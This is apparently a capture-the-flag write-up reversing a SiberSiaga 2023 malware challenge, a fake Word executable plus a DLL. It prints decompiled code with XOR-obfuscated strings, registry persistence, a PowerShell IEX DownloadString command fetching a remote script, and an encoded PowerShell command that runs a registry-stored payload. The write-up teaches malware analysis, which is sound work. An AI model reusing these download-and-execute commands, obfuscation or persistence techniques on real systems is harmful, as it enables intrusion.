This is the hardest challenge I have ever done and it was given to our team (DinoDefend3rs) during SiberSiaga 2023. However, as a challenge creator, I have made a very hard challenge as well! Check out how I made it here!
Anyways this is one of the challenges I call a PTSD challenge as we were so close to solving it but didn’t. However, we did find out how to get the flag after the CTF has ended. This challenge was made by Fareed Fauzi from NetByteSec, one of the sponsors of SiberSiaga 2023. So, with that said let’s get on with the challenge!
Dynamic Analysis
The files given was an executable file disguised as a Word document and a Dynamic-link library (DLL) file.
Using FlareVM, we can get the MD5 hash of the executable through a few clicks.
We then copy the MD5 hash and put it through VirusTotal, an online service that analyses files and URLs for malware, using multiple antivirus engines and website scanners.
As suspected, the executable is marked as malicious.
Analysing the MITRE ATT&CK section, we can see that the executable links a function which may indicate that the DLL file might be used by the executable. As mentioned before, the malware disguises itself as a Word document. This was done with a double extension docx.exe
, the exe
extension is not visible if the option Show File Extensions
is not enabled within File Explorer.
Knowing that the DLL file is used, the same process is used to analyse the DLL file in VirusTotal. As suspected again, the DLL file is malicious.
However, the MITRE ATT&CK section displays a lot more detail. There are PowerShell commands executed when the function is called. Furthermore, there are registry keys being changed and created for persistence and privilege escalation purposes. Furthermore, the XOR encryption method is used to bypass antivirus detection. Lastly, to bypass online sandboxes, the malware contains sleep functions.
As mentioned before, registry keys were created. Going down the VirusTotal report shows us what registry keys were created. As the MITRE ATT&CK section stated, there are PowerShell commands listed here! More analysis on that will be done later as the command is not complete.
Executing the executable on FlareVM, give us a warning whether the user wants to launch the malware.
If the user enters “yes”, a message box saying Welcome to SiberSiaga 2023
and the title SiberSiaga 2023
is displayed.
As the VirusTotal report stated, there were some registry created, so let’s view those registries and see what we can find! As shown there are 2 registry keys under
HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command
Furthermore, another key is found under HKEY_CLASSES_ROOT\.sibersiaga
. Further analysis on these registry keys will be done and explained later on.
Static Analysis
First of all, I want to mention that I am not a reverse engineer at the time of the CTF. However, doing more CTFs and learning from others, I am able to do some basic reversing now.
Kertas Kerja Siber Siaga.docx.exe
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
size_t v4; // rax
char *v5; // rcx
__int64 v6; // rax
char v7; // cl
HMODULE LibraryW; // rax
HMODULE v9; // rbx
void (*function_101009)(void); // rax
char Buffer[16]; // [rsp+20h] [rbp-28h] BYREF
sub_140001010("This binary has been created specifically for the SiberSiaga 2023 CTF.\n");
sub_140001010("This is a malware. Please run in a safe environment.\n");
sub_140001010("Proceed to run? Yes or no: ");
v3 = _acrt_iob_func(0);
fgets(Buffer, 10, v3);
v4 = strcspn(Buffer, "\n");
if ( v4 >= 0xA )
_report_rangecheckfailure();
Buffer[v4] = 0;
if ( Buffer[0] == 110 && Buffer[1] == 111 && !Buffer[2] )
{
v5 = "Exiting program.\n";
LABEL_14:
sub_140001010(v5);
}
else
{
v6 = 0i64;
do
{
v7 = Buffer[v6++];
if ( v7 != aYes[v6 - 1] )
{
v5 = "Invalid input. Please enter 'yes' or 'no'.\n";
goto LABEL_14;
}
}
while ( v6 != 4 );
LibraryW = LoadLibraryW(L"MSVCR100.dll");
v9 = LibraryW;
if ( LibraryW )
{
function_101009 = (void (*)(void))GetProcAddress(LibraryW, "function_101009");
if ( function_101009 )
function_101009();
FreeLibrary(v9);
}
}
return 0;
}
Loading the executable into IDA, we can see strings that appeared previously. The flow is as follows:
- Strings
This binary has been created...
,This is malware...
andProceed to run...
will be printed out. - If the input is
no
as denoted by the strings inBuffer[0]
andBuffer[1]
, the program will exit. - Otherwise, the DLL file will be loaded and
function_101009
will be executed.
So, exactly what we saw in the dynamic analysis phase!
MSVCR100.dll
Now, loading the DLL file into IDA, we see nothing within the main function. However, the executable did not call main did it? It called function_101009
.
void function_101009()
{
unsigned __int64 i; // rcx
LPCWSTR *v1; // rax
unsigned __int64 j; // rcx
LPCWSTR *v3; // rax
const WCHAR *title; // r8
const WCHAR *textContent; // rdx
WCHAR *v6; // rcx
WCHAR *v7; // rcx
LPCWSTR lpCaption[2]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v9; // [rsp+30h] [rbp-40h]
unsigned __int64 v10; // [rsp+38h] [rbp-38h]
LPCWSTR lpText[2]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+50h] [rbp-20h]
unsigned __int64 v13; // [rsp+58h] [rbp-18h]
// XOR function
sub_180001ED0(lpText, L"Ugnamog\"vm\"Qk`gpQkcec\"0201");
for ( i = 0i64; i < v12; ++i )
{
v1 = lpText;
if ( v13 >= 8 )
v1 = (LPCWSTR *)lpText[0];
*((_WORD *)v1 + i) ^= 2u;
}
// XOR function
sub_180001ED0(lpCaption, L"PjafqPjbdb#1310");
for ( j = 0i64; j < v9; ++j )
{
v3 = lpCaption;
if ( v10 >= 8 )
v3 = (LPCWSTR *)lpCaption[0];
*((_WORD *)v3 + j) ^= 3u;
}
title = (const WCHAR *)lpCaption;
textContent = (const WCHAR *)lpText;
if ( v10 >= 8 )
title = lpCaption[0];
if ( v13 >= 8 )
textContent = lpText[0];
// Creates a MessageBox
MessageBoxW(0i64, textContent, title, 0x40u);
// Executes function_101010
function_101010();
if ( v10 >= 8 )
{
v6 = (WCHAR *)lpCaption[0];
if ( 2 * v10 + 2 >= 0x1000 )
{
v6 = (WCHAR *)*((_QWORD *)lpCaption[0] - 1);
if ( (unsigned __int64)((char *)lpCaption[0] - (char *)v6 - 8) > 0x1F )
LABEL_20:
invalid_parameter_noinfo_noreturn();
}
j_j_free(v6);
}
v9 = 0i64;
v10 = 7i64;
LOWORD(lpCaption[0]) = 0;
if ( v13 >= 8 )
{
v7 = (WCHAR *)lpText[0];
if ( 2 * v13 + 2 >= 0x1000 )
{
v7 = (WCHAR *)*((_QWORD *)lpText[0] - 1);
if ( (unsigned __int64)((char *)lpText[0] - (char *)v7 - 8) > 0x1F )
goto LABEL_20;
}
j_j_free(v7);
}
}
Opening function_101009
, code is everywhere but I tried to simplify it for your eyes. You’re welcome!
<--- SNIP --->
for ( i = 0i64; i < v12; ++i )
{
v1 = lpText;
if ( v13 >= 8 )
v1 = (LPCWSTR *)lpText[0];
*((_WORD *)v1 + i) ^= 2u;
}
<--- SNIP --->
The main thing we should see is this particular function as this will appear everywhere later on the analysis. Basically this is a XOR function, iterating over a string will a key which will change for later functions. However, for this case, it is XORed with 2 as the key.
In function_101009
, these strings are XORed with different keys:
Ugnamog\"vm\"Qk`gpQkcec\"0201
PjafqPjbdb#1310
With this, we can write a Python script to decrypt the string.
def xor_decoder(encoded_string, xor_value=2):
decoded_chars = [chr(ord(char) ^ xor_value) for char in encoded_string]
return ''.join(decoded_chars)
The first string is decrypted and the output string is Welcome to SiberSiaga 2023
which was displayed on the message box just now!
The second strings is revealed to be the text on the title of the message box, SiberSiaga 2023
. In the decompiled code, it shows that after the message box is displayed, function_101010
is called.
void function_101010()
{
unsigned __int64 i; // rcx
LPCWSTR *v1; // rax
const WCHAR *v2; // rdx
const BYTE *v3; // rcx
unsigned __int64 j; // rcx
LPCWSTR *v5; // rax
const WCHAR *ps_key; // rdx
const BYTE *ps_download_value; // rcx
unsigned __int64 k; // rcx
LPCWSTR *dot_ss_xor; // rax
unsigned __int64 m; // rcx
BYTE **ss_file_xor; // rax
const WCHAR *dot_ss_key; // rdx
const BYTE *ss_file_key; // rcx
unsigned __int64 n; // rcx
LPCWSTR *command_open_xor; // rax
const WCHAR *command_open_subkey; // rdx
const BYTE *ps_script_key; // rcx
unsigned __int64 ii; // rcx
LPCWSTR *v19; // rax
unsigned __int64 jj; // rcx
BYTE **sus_string_xored; // rax
const WCHAR *v22; // rdx
const BYTE *sus_string_reg; // rcx
BYTE *v24; // rcx
WCHAR *v25; // rcx
BYTE *v26; // rcx
WCHAR *v27; // rcx
BYTE *v28; // rcx
WCHAR *v29; // rcx
BYTE *v30; // rcx
WCHAR *v31; // rcx
BYTE *v32; // rcx
WCHAR *v33; // rcx
HKEY hKey; // [rsp+50h] [rbp-B0h] BYREF
HKEY v35; // [rsp+58h] [rbp-A8h] BYREF
HKEY v36; // [rsp+60h] [rbp-A0h] BYREF
HKEY v37; // [rsp+68h] [rbp-98h] BYREF
HKEY v38; // [rsp+70h] [rbp-90h] BYREF
BYTE *sus_string[2]; // [rsp+78h] [rbp-88h] BYREF
unsigned __int64 v40; // [rsp+88h] [rbp-78h]
unsigned __int64 v41; // [rsp+90h] [rbp-70h]
BYTE *ss_file[2]; // [rsp+98h] [rbp-68h] BYREF
unsigned __int64 v43; // [rsp+A8h] [rbp-58h]
unsigned __int64 v44; // [rsp+B0h] [rbp-50h]
LPCWSTR v45[2]; // [rsp+B8h] [rbp-48h] BYREF
unsigned __int64 v46; // [rsp+C8h] [rbp-38h]
unsigned __int64 v47; // [rsp+D0h] [rbp-30h]
LPCWSTR command_open[2]; // [rsp+D8h] [rbp-28h] BYREF
unsigned __int64 v49; // [rsp+E8h] [rbp-18h]
unsigned __int64 v50; // [rsp+F0h] [rbp-10h]
LPCWSTR dot_ss[2]; // [rsp+F8h] [rbp-8h] BYREF
unsigned __int64 v52; // [rsp+108h] [rbp+8h]
unsigned __int64 v53; // [rsp+110h] [rbp+10h]
LPCWSTR v54[2]; // [rsp+118h] [rbp+18h] BYREF
unsigned __int64 v55; // [rsp+128h] [rbp+28h]
unsigned __int64 v56; // [rsp+130h] [rbp+30h]
LPCWSTR lpSubKey[2]; // [rsp+138h] [rbp+38h] BYREF
unsigned __int64 v58; // [rsp+148h] [rbp+48h]
unsigned __int64 v59; // [rsp+150h] [rbp+50h]
BYTE *ps_script[2]; // [rsp+158h] [rbp+58h] BYREF
__m128i si128; // [rsp+168h] [rbp+68h]
BYTE *ps_download[2]; // [rsp+178h] [rbp+78h] BYREF
__m128i v63; // [rsp+188h] [rbp+88h]
BYTE *lpData[2]; // [rsp+198h] [rbp+98h] BYREF
__m128i v65; // [rsp+1A8h] [rbp+A8h]
__int128 pExceptionObject; // [rsp+1B8h] [rbp+B8h] BYREF
__int64 v67; // [rsp+1C8h] [rbp+C8h]
WCHAR ValueName[8]; // [rsp+1D0h] [rbp+D0h] BYREF
WCHAR ss_subkey[12]; // [rsp+1E0h] [rbp+E0h] BYREF
_OWORD v70[2]; // [rsp+1F8h] [rbp+F8h] BYREF
__int64 v71; // [rsp+218h] [rbp+118h]
int v72; // [rsp+220h] [rbp+120h]
__int16 v73; // [rsp+224h] [rbp+124h]
__int128 v74[6]; // [rsp+230h] [rbp+130h] BYREF
int v75; // [rsp+290h] [rbp+190h]
__int16 v76; // [rsp+294h] [rbp+194h]
pExceptionObject = xmmword_1800032C0;
v67 = 0x76006C0067i64;
sub_180001ED0(lpSubKey, &pExceptionObject);
for ( i = 0i64; i < v58; ++i )
{
v1 = lpSubKey;
if ( v59 >= 8 )
v1 = (LPCWSTR *)lpSubKey[0];
*((_WORD *)v1 + i) ^= 2u;
}
wcscpy(ValueName, L"GUID");
sub_180001ED0(lpData, &word_1800032E4);
v2 = (const WCHAR *)lpSubKey;
if ( v59 >= 8 )
v2 = lpSubKey[0];
if ( RegCreateKeyExW(HKEY_CURRENT_USER, v2, 0, 0i64, 0, 0x20006u, 0i64, &hKey, 0i64) )
{
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
v3 = (const BYTE *)lpData;
if ( v65.m128i_i64[1] >= 8ui64 )
v3 = lpData[0];
if ( RegSetValueExW(hKey, ValueName, 0, 1u, v3, 2 * v65.m128i_i32[0]) )
{
RegCloseKey(hKey);
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
RegCloseKey(hKey);
pExceptionObject = xmmword_1800032C0;
v67 = 0x76006C0067i64;
sub_180001ED0(v54, &pExceptionObject);
for ( j = 0i64; j < v55; ++j )
{
v5 = v54;
if ( v56 >= 8 )
v5 = (LPCWSTR *)v54[0];
*((_WORD *)v5 + j) ^= 2u;
}
v72 = 7602288;
v70[0] = xmmword_1800032F0;
v73 = 0;
v71 = 0x69007200630053i64;
v70[1] = xmmword_180003300;
// Downloads PowerShell script
sub_180001ED0(
ps_download,
L"powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f"
"9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1')");
ps_key = (const WCHAR *)v54;
if ( v56 >= 8 )
ps_key = v54[0];
// Creates a key for the PowerShell download
if ( RegCreateKeyExW(HKEY_CURRENT_USER, ps_key, 0, 0i64, 0, 0x20006u, 0i64, &v35, 0i64) )
{
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
ps_download_value = (const BYTE *)ps_download;
if ( v63.m128i_i64[1] >= 8ui64 )
ps_download_value = ps_download[0];
// Sets ps_download as the value for the key
if ( RegSetValueExW(v35, (LPCWSTR)v70, 0, 1u, ps_download_value, 2 * v63.m128i_i32[0]) )
{
RegCloseKey(v35);
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
RegCloseKey(v35);
// XOR function for SOFTWARE\\Classes\\.sibersiaga
sub_180001ED0(dot_ss, L"WKBPSEVAXXGhewwawXX*wmfavwmece");
for ( k = 0i64; k < v52; ++k )
{
dot_ss_xor = dot_ss;
if ( v53 >= 8 )
dot_ss_xor = (LPCWSTR *)dot_ss[0];
*((_WORD *)dot_ss_xor + k) ^= 4u;
}
// XOR function for sibersiagafile
sub_180001ED0(ss_file, L"wmfavwmecebmha");
for ( m = 0i64; m < v43; ++m )
{
ss_file_xor = ss_file;
if ( v44 >= 8 )
ss_file_xor = (BYTE **)ss_file[0];
*((_WORD *)ss_file_xor + m) ^= 4u;
}
dot_ss_key = (const WCHAR *)dot_ss;
if ( v53 >= 8 )
dot_ss_key = dot_ss[0];
// Created key in HKEY_CURRENT_USER\SOFTWARE\Classes\.sibersiaga
if ( RegCreateKeyExW(HKEY_CURRENT_USER, dot_ss_key, 0, 0i64, 0, 0x20006u, 0i64, &v36, 0i64) )
{
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
ss_file_key = (const BYTE *)ss_file;
if ( v44 >= 8 )
ss_file_key = ss_file[0];
// Sets the sibersiagafile as the value for the key
if ( RegSetValueExW(v36, 0i64, 0, 1u, ss_file_key, 2 * v43) )
{
RegCloseKey(v36);
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
RegCloseKey(v36);
// XOR function for SOFTWARE\\Classes\\sibersiagafile\\shell\\open\\command
sub_180001ED0(command_open, L"VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka");
for ( n = 0i64; n < v49; ++n )
{
command_open_xor = command_open;
if ( v50 >= 8 )
command_open_xor = (LPCWSTR *)command_open[0];
*((_WORD *)command_open_xor + n) ^= 5u;
}
// Suspicious PowerShell Script
sub_180001ED0(
ps_script,
L"powershell.exe -enc WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkA"
"bgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAA"
"nAFIAZQBnAGkAcwB0AHIAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQBmAGkAbABlAF"
"wAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgACcAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAa"
"QBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQgBlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAg"
"AC0AYgB4AG8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA=");
command_open_subkey = (const WCHAR *)command_open;
if ( v50 >= 8 )
command_open_subkey = command_open[0];
// Creates a key in SOFTWARE\Classes\sibersiagafile\shell\open\command
// It determines what action is taken when a file type is opened
if ( RegCreateKeyExW(HKEY_CURRENT_USER, command_open_subkey, 0, 0i64, 0, 0x20006u, 0i64, &v37, 0i64) )
{
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
ps_script_key = (const BYTE *)ps_script;
if ( si128.m128i_i64[1] >= 8ui64 )
ps_script_key = ps_script[0];
// Sets the PowerShell script as the value
if ( RegSetValueExW(v37, 0i64, 0, 1u, ps_script_key, 2 * si128.m128i_i32[0]) )
{
RegCloseKey(v37);
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
RegCloseKey(v37);
v74[0] = xmmword_180003AC0;
v74[1] = xmmword_180003AD0;
v74[2] = xmmword_180003AE0;
v74[3] = xmmword_180003AF0;
v75 = 6684780;
v74[4] = xmmword_180003B00;
v74[5] = xmmword_180003B10;
v76 = 0;
sub_180001ED0(v45, v74);
for ( ii = 0i64; ii < v46; ++ii )
{
v19 = v45;
if ( v47 >= 8 )
v19 = (LPCWSTR *)v45[0];
*((_WORD *)v19 + ii) ^= 2u;
}
wcscpy(ss_subkey, L"sibersiaga");
// Suspicious String
sub_180001ED0(
sus_string,
L"U3H5aJ@ec{nE`J6nZ0j:gZn{f2L5dJjhTZj2glv6`GKcE1DEP3@WVnzSgnnFUWDOZ32RazuZ[nvNACeXG@;sWxLua0DmXzKpM0vocP:)Klz{gD;XaAG7"
"RF21X1nscUztTnnVU3LaZA[rNx:RASu)NQ[AIzi4EiWeQnPOQV[TVjRq7qpG3)c-25)zsKcEsgdppcUirIUim4QjsHgPwRF1)70HzfMGj)5q4-{S;)l"
"F0O`A1vxg2ftAnXkW3LpP0H5sqIUhv4Jq4HI6pcw-saFG45giw5d24R`-t4l4)XQUl[pctcgLim{WkKcGh6U[x:5AlrAdnvQQe74a2LQakXQc:emnc1"
"O7`JPsIAvkd1j;dVW-Rlv3f1r6aZD)LJX7OlftCkumNk6mNG7MCSmESiHcFzj-T2SXgnPfZTrME0;GVWqnNEuZNFahHkueHAzkCFq5LQn4fxK2MkS;f"
"Zr-M{e1M2nKVFSDF@Km@ezAUiTGDUH4WTHVT@CMJez2aCXzfzaXsIZt4wAns)`o5cst4-hl45lsl7o2v`c1:gt1w5JK5RcCe:pZ2LZTl[gE{;tDe;pI"
"1LVTufZ[oLhI1rZX2:ocn)Q3pckjs)-mw4{ip6Emt`{zvpdqv501m6gutw`6;ds0jOhGn6EfivpOhr)AkO1W3fFTn70Ax5U6vcotp5otqN7LPAK7RkW"
"k`lergE7t[o@jfZHoflC2L@mQX@aPgZDvge@cN{iG@S[JFG7dSieLGu;pTifcWEeOFZXaVZzHTDmZcU:nLk2jQ23mcUrpJ{e4[jinLx6GHxilRQqwKl"
"z-DjShLDe-KSqSFjmE@C[HCzrLWDuaGjiSTnW-NFO-Zn3VAgJv;)cimgJ{6g0Jec{vps-76-)xwaFi-pk5:w-m5g0nh65F2:0N2qNGxO1XxaACuONUl"
"fJ`uXIdlO1T2LlVn7AxrI{lkcA3vIowp-Qtrc)5h5k05tF;:p4::R{twcUs6qQEn6sCzfxf{O0RjXpZpcA;mcglqcg6vpU:0qJE1fsUaADqXlOnXUjo"
"X0;mgEPj[VGxJznrE@z)dhG)flT7RhHHWizOWCT;ViXffuHZKASRG@GQD3naWjaDESm0LiCxLVarI{:j`ZfwO2PCc0zv`juiOAClgS[4Oh2rgo3qXnL"
"TSGDAS2uODCrKPF:X@W3O@uSDCe@MUniUA@@WFziPEzh{6M)v4-djsMpo-s)isdpe)-V:wpt{:)RL4d544Rhvt[oR2O`Z2OpV3KxPrscLhm)SiXIVnL"
"xSn7Af3;N[lXRVvMJolMsuvsMrtc)Wrcll54ta0RR2;d`1)Rl4)-x;-twLkK`guNpKirkLk7)HqmgN{-x62;VT3vd[0fp`1L1g007e`0[mKZHog0K1N"
"3Oh[0rh[lL2aVvkao@vMhXt`ZH0TCGCCz6d@eWVHACNFC2MFzCPGjOWDPXgZjiQEzSXWD6vHEHwIAuvKojvKxvn`UOeKlD4fxm2MxH6fF[{Lxj)guWR"
"DDilIkq1RV2tMQKqK{rXWT:a@nTgWz[[Dz7aW@KU4)Qkr)Ru5)Mjscdi-s0os-5u--c2wRp):-{4wd1z:p0HkKN[sc)Ej6kHkmwOh[4RiHEQi7QTivp"
"f{qlc0;kgewFn4wgurNUq4NZsmso37-1w;)RxsRUXmsx2kc)wvNA60)xmu:VDzqdK{apNxO1Mx;FP2rsQ3f5T0vlZlm1f0rHnalDk[0CtdCWFIkqqNQ"
"6tOFG{OxS3Lha6MVm5RF24aiTQWWHFS@qDdGjXSCzrSWDTG@C)RjWUDzeXEjqaJP6d[EDk[0S6Q23mcUrp`E3w`1@zalL2fZX1dFvlc0fSTJ;CSWHFP"
"GTEP2jHQivOVW6[E@egDnPfWjT[T@[RZDiVEtR{6)Vjs:pk7w5)64Uv;[Icq`IxvNU0v5k7wpw:t`4-eKEAe6Q@z[gTkX4`lH0TmpsPirMWnXcZoHoc"
"o7{flr-e6gNh7I{e7)Fj5shq7w5pqth{-pMj;tM3tIomt`s5:c{GhKQSha)axKpZx6EKlX{PnrdfwHA[iK{P0v5a{a5ROJuRAQSnHkamIQmpNA2wNxC"
"zOhO2LV[1aUv1MxDK`J[CC2rZWDTTJSaEQ3vDC3rIZDPTSTT[EDjIZjTXW2icD0S3NQejI0;mM{uiNuGmRVuzLhfqLx21KuauRoX6fZm0@GjGDuGfGn"
"rOFj:AAG3WTT@TDz2AVxW6LQitNxitOF5LzII7tsUk5tkr4)Z-)wt;qRx16Md2:dI6m5s-vNl@qa1G2fFDuqMHzaxX0O1I{-FX3XtV0rEgi;Za{ahf0"
"vwPi5QeqNA1p4ot6g4r6Mov7tlx1;l2;d`1)Rl4)-x;-t-CuaNFzOZEz:{Nuf`KhwRn2LJQ2;VT3vd[0fp`1L1g112OAAOiHQ[lIAisI{uvNlKfExKx"
"LFW0Lxe7Xz[URV6-CCGACuP0S3OD[D7MSZ3aSG@WSGfLDPP-a1rtCU@6WGirO{2vIQCmO0rrX{WvKAvtaeSkLxWjO1T6fAu4OAe5d2SOAufr`2XJQGiZXo[S");
for ( jj = 0i64; jj < v40; ++jj )
{
sus_string_xored = sus_string;
if ( v41 >= 8 )
sus_string_xored = (BYTE **)sus_string[0];
*((_WORD *)sus_string_xored + jj) ^= 2u;
}
v22 = (const WCHAR *)v45;
if ( v47 >= 8 )
v22 = v45[0];
// Creates a key for the suspicious string
if ( RegCreateKeyExW(HKEY_CURRENT_USER, v22, 0, 0i64, 0, 0x20006u, 0i64, &v38, 0i64) )
{
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
sus_string_reg = (const BYTE *)sus_string;
if ( v41 >= 8 )
sus_string_reg = sus_string[0];
// Sets the suspicious string as the value of the key
if ( RegSetValueExW(v38, ss_subkey, 0, 1u, sus_string_reg, 2 * v40) )
{
RegCloseKey(v38);
sub_1800011C0(&pExceptionObject);
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
}
RegCloseKey(v38);
if ( v41 >= 8 )
{
v24 = sus_string[0];
if ( 2 * v41 + 2 >= 0x1000 )
{
v24 = (BYTE *)*((_QWORD *)sus_string[0] - 1);
if ( (unsigned __int64)(sus_string[0] - v24 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v24);
}
v40 = 0i64;
v41 = 7i64;
LOWORD(sus_string[0]) = 0;
if ( v47 >= 8 )
{
v25 = (WCHAR *)v45[0];
if ( 2 * v47 + 2 >= 0x1000 )
{
v25 = (WCHAR *)*((_QWORD *)v45[0] - 1);
if ( (unsigned __int64)((char *)v45[0] - (char *)v25 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v25);
}
v46 = 0i64;
v47 = 7i64;
LOWORD(v45[0]) = 0;
if ( si128.m128i_i64[1] >= 8ui64 )
{
v26 = ps_script[0];
if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
{
v26 = (BYTE *)*((_QWORD *)ps_script[0] - 1);
if ( (unsigned __int64)(ps_script[0] - v26 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v26);
}
LOWORD(ps_script[0]) = 0;
si128 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
if ( v50 >= 8 )
{
v27 = (WCHAR *)command_open[0];
if ( 2 * v50 + 2 >= 0x1000 )
{
v27 = (WCHAR *)*((_QWORD *)command_open[0] - 1);
if ( (unsigned __int64)((char *)command_open[0] - (char *)v27 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v27);
}
v49 = 0i64;
v50 = 7i64;
LOWORD(command_open[0]) = 0;
if ( v44 >= 8 )
{
v28 = ss_file[0];
if ( 2 * v44 + 2 >= 0x1000 )
{
v28 = (BYTE *)*((_QWORD *)ss_file[0] - 1);
if ( (unsigned __int64)(ss_file[0] - v28 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v28);
}
v43 = 0i64;
v44 = 7i64;
LOWORD(ss_file[0]) = 0;
if ( v53 >= 8 )
{
v29 = (WCHAR *)dot_ss[0];
if ( 2 * v53 + 2 >= 0x1000 )
{
v29 = (WCHAR *)*((_QWORD *)dot_ss[0] - 1);
if ( (unsigned __int64)((char *)dot_ss[0] - (char *)v29 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v29);
}
v52 = 0i64;
v53 = 7i64;
LOWORD(dot_ss[0]) = 0;
if ( v63.m128i_i64[1] >= 8ui64 )
{
v30 = ps_download[0];
if ( (unsigned __int64)(2 * v63.m128i_i64[1] + 2) >= 0x1000 )
{
v30 = (BYTE *)*((_QWORD *)ps_download[0] - 1);
if ( (unsigned __int64)(ps_download[0] - v30 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v30);
}
LOWORD(ps_download[0]) = 0;
v63 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
if ( v56 >= 8 )
{
v31 = (WCHAR *)v54[0];
if ( 2 * v56 + 2 >= 0x1000 )
{
v31 = (WCHAR *)*((_QWORD *)v54[0] - 1);
if ( (unsigned __int64)((char *)v54[0] - (char *)v31 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v31);
}
v55 = 0i64;
v56 = 7i64;
LOWORD(v54[0]) = 0;
if ( v65.m128i_i64[1] < 8ui64 )
goto LABEL_95;
v32 = lpData[0];
if ( (unsigned __int64)(2 * v65.m128i_i64[1] + 2) >= 0x1000 )
{
v32 = (BYTE *)*((_QWORD *)lpData[0] - 1);
if ( (unsigned __int64)(lpData[0] - v32 - 8) > 0x1F )
LABEL_98:
invalid_parameter_noinfo_noreturn();
}
j_j_free(v32);
LABEL_95:
LOWORD(lpData[0]) = 0;
v65 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
if ( v59 >= 8 )
{
v33 = (WCHAR *)lpSubKey[0];
if ( 2 * v59 + 2 >= 0x1000 )
{
v33 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v33 - 8) > 0x1F )
goto LABEL_98;
}
j_j_free(v33);
}
}
Wewwww, going into function_101010
, there is a lot going on. However, being an amateur reverse engineer, I renamed some of the variables and commented the functions to ease your eyes.
So first of all, there are some suspicious strings used within the functions. With that said, let’s analyse the strings.
The first string that we’re analysing is a PowerShell command used to download a PowerShell script from
https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1
and execute it with iex
or Invoke-Expression
.
The PowerShell downloaded is shown here:
$batchScript = { whoami | Out-File -Append "$env:APPDATA\s.sibersiaga"; Start-Process "$env:APPDATA\s.sibersiaga"; Remove-Item "$env:APPDATA\s.sibersiaga"; Exit }; Get-ChildItem -Path "$env:SystemRoot\System32" -Filter "notepad.exe" -File | ForEach-Object { Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & {$batchScript}" -Wait }
string_1 = WKBPSEVAXXGhewwawXX*wmfavwmece
string_2 = wmfavwmecebmha
string_3 = VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka
Then remember I mentioned that XOR functions were used everywhere? True enough from the VirusTotal report, they are EVERYWHERE. However, I extracted the strings for you. The XOR functions again, used different keys to encrypt the string.
Using the same Python script with different keys, reveals that the strings are as follows:
Wait a minute… Those strings look like values that were in the registry!
Another string that was found was a PowerShell command and the command was encoded in Base64:
